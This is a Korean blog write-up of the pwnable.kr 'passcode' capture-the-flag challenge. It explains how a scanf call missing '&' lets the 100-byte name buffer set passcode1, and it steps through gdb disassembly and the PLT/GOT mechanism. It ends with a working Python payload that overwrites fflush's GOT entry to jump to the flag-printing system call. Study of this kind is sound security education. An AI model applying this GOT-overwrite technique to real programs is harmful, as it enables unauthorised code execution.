미역줄기의 이모저모
pwnable.kr passcode 풀이 본문
1. 문제 확인
login 시스템기반 passcode를 만들었다고 한다. 컴파일러 warning이 있다는건가..?
일단 접속!
2. 문제 분석
passcode@pwnable:~$ ls -l
total 16
-r--r----- 1 root passcode_pwn 48 Jun 26 2014 flag
-r-xr-sr-x 1 root passcode_pwn 7485 Jun 26 2014 passcode
-rw-r--r-- 1 root root 858 Jun 26 2014 passcode.c
음.. passcode는 실행 가능하고 소유 그룹이 passcode_pwn이고 r-s이니까
passcode를 통해 flag를 읽을 수 있겠다!!
passcode.c 를 살펴보자!
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
보기 쉽게 login부터 쪼개 보자!!
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
여기서 scanf를 유심히 보면 &passcode1이 아니라 그냥 passcode다!
scanf 함수는 변수의 주소를 필요로 하는데.. ' & '기호가 빠져버렸다! 그래서 이 코드는 passcode1이라는 변수에 값을 저장하는 것이 아니라 passcode1안에 있는 값의 주소에 입력값을 넣는다!!
예를 들어서 passcode에 0xabcdef가 있다고 할 때
scanf("%d", &passcode); 가 실행되면 passcode1의 값이 0xabcdef에서 입력값으로 바뀐다.
scanf("%d", passcode); 가 실행되면 입력한 값이 0xabcdef에 저장된다!
주소값이 힌트인 것 같으니까 login을 디스어셈블 해본다!!
(gdb) disas login
Dump of assembler code for function login:
0x08048564 <+0>: push %ebp
0x08048565 <+1>: mov %esp,%ebp
0x08048567 <+3>: sub $0x28,%esp
0x0804856a <+6>: mov $0x8048770,%eax
0x0804856f <+11>: mov %eax,(%esp)
0x08048572 <+14>: call 0x8048420 <printf@plt>
0x08048577 <+19>: mov $0x8048783,%eax
0x0804857c <+24>: mov -0x10(%ebp),%edx
0x0804857f <+27>: mov %edx,0x4(%esp)
0x08048583 <+31>: mov %eax,(%esp)
edx,DWORD PTR [ebp-0x10] 이 부분이 passcode1 변수가 선언되는 것 같다
일단 여기까지,,
그리고 welcome을 쪼개보자!
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
0x08048622 <+25>: mov %eax,(%esp)
0x08048625 <+28>: call 0x8048420 <printf@plt>
0x0804862a <+33>: mov $0x80487dd,%eax
0x0804862f <+38>: lea -0x70(%ebp),%edx
gdb로 디스어셈블까지 했다! 필요해 보이는 부분만 가져왔다.
welcome에서 name은 ebp-0x70에 있는 것 같다!
그러면 지금 passcode1이랑 name의 거리가 0x60이라는 거네!
welcome에서 입력을 100bytes를 받고 name과 passcode1의 거리가 0x60 = 96바이트!
그림을 그려보면
겹친다!!
그럼 우리는 name을 이용해 passcode1의 주소를 조작할 수 있다!!
scanf로 입력받을 때 ' & '가 빠졌기 때문에 passcode1의 주소에 값이 저장되기 때문!
그 전에! 알아둬야할 개념이 있다!
바로 PLT와 GOT이다. 이 두 개의 개념은 일단 https://watchout31337.tistory.com/152 이 분 티스토리를 참고하길 바란다
(나는 빠른시일 내에 정리해서 업로드할거임..)
그래도 간략하게 적어보자면,
PLT : 외부 라이브러리 함수를 사용할 수 있도록 주소를 연결해주는 역학을 하는 테이블
GOT : PLT에서 호출하는 reslove 함수를 통해 구한 라이브러리 함수의 절대 주소가 저장되어 있는 테이블
그리고 동적 링크를 사용할 때 PLT와 GOT를 사용한다.
동적 링크는 헤더에 포함된 함수들의 주소를 하나의 메모리 공간에 매핑하고 여러 프로그램에서 공유하는 방법이다
따라서 동적 링크 방식으로 컴파일된 파일은 프로그램 내부에 라이브러리가 존재하지 않아서 외부 라이브러리로 링크하는 과정이 필요하다.
이를 이용하여 login안에 있는 함수 중 하나를 골라 그 함수의 PLT를 타고 도착한 GOT 테이블을 system(/bin/cat flag)로 덮어쓰면 exploit이 가능해진다!
login()에 있는 fflush 함수를 이용한다!
0x08048593 <+47>: call 0x8048430 <fflush@plt>
fflush의 PLT 주소는 0x8048430이다.
메모리의 특정 주소에서 어셈블리어를 출력하는 x/i 명령어를 사용!
gdb) x/i 0x8048430
0x8048430 <fflush@plt>: jmp *0x804a004
0x804a004로 imp한다! 0x804a004가 GOT이다!!
passcode1 변수의 주소에 저 값을 연결시켜 놓으면 scanf로 입력받을 때 fflush 함수의 실행을 조작할 수 있게 된다.
이제 변조된 fflush 함수가 무엇을 실행하지 입력만 하면 된다!
login()어셈블리어를 보면
0x080485e3 <+127>: movl $0x80487af,(%esp)
0x080485ea <+134>: call 0x8048460 <system@plt>
이 부분이 system(/bin/cat flag) 부분이다.
0x80858e3으로 fflush 함수의 GOT를 설정해 놓으면 fflush 함수가 실행될 때 저 주소로 이동한다!
3. 문제 해결
1. name과 passcode1이 4byte 겹쳐서 겹친 4byte를 통해 passcode1을 조작
2. 4bytes를 fflush 함수의 GOT 테이블의 주소로 입력
3. scanf를 통해 passcode1 입력 = fflush 함수의 GOT 조작
4. system 함수의 시작으로 덮어 쓴다.
페이로드
96개의 dummy + fflush GOT주소 + system(/bin/cat flag)의 시작 주소(정수형으로 바꿈)
$ (python -c 'print "A" * 96 + "\x04\xa0\x04\x08" + "134514147"') | ./passcode
flag: Sorry mom.. I got confuesd about scanf usage :(
'Hacking > 포너블.kr 문제풀이' 카테고리의 다른 글
pwnable.kr cmd1 풀이 (1) | 2024.02.02 |
---|---|
pwnable.kr lotto 풀이 (0) | 2024.02.01 |
pwnable.kr blackjack 풀이 (0) | 2024.02.01 |
pwnable.kr shellshock 풀이 (0) | 2024.02.01 |
pwnable.kr mistake 풀이 (0) | 2024.02.01 |